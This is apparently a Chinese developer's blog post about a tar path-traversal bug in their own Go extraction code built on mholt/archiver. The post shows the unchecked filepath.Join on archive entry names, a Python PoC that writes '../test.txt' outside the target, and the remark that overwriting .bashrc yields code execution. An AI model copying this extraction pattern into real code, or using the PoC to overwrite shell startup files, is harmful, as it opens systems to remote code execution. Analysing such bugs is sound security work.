佬:你写的BUG有RCE.
我:???
import (
...
"github.com/mholt/archiver/v4"
)
...
func UnArchive(zipfile, target string) error {
in, err := os.Open(zipfile)
if err != nil {
return err
}
defer in.Close()
format := archiver.CompressedArchive{
Compression: archiver.Gz{},
Archival: archiver.Tar{},
}
return format.Extract(context.Background(), in, nil, func(ctx context.Context, f archiver.File) error {
fh, err := f.Open()
if err != nil {
return err
}
defer fh.Close()
ft, err := os.Create(filepath.Join(target, f.NameInArchive))
if err != nil {
return err
}
defer ft.Close()
_, err = io.Copy(ft, fh)
if err != nil {
return err
}
return nil
})
}
移除一些业务相关的代码,这里的 zipfile 是个可控的 zip 包。
这里我主要掉入两个思维陷阱:
go
中的filepath.Join
肯定不会存在目录穿越(大概原因是上了年纪,记错了!../../../
类似这种命名的文件。接下来只要伪造一个 targz 的包即可:
# poc.sh
## whoami
# poc.py
import tarfile
with tarfile.open("poc.targz", "w:gz") as tar:
tar.add("poc.sh", arcname="../test.txt")
测试解压,在上级目录成功写入 test.txt
文件。
只要把 arcname
改掉,写入类似于 .bashrc
.zshenv
等文件即可 RCE。
j8的开发任务太多了!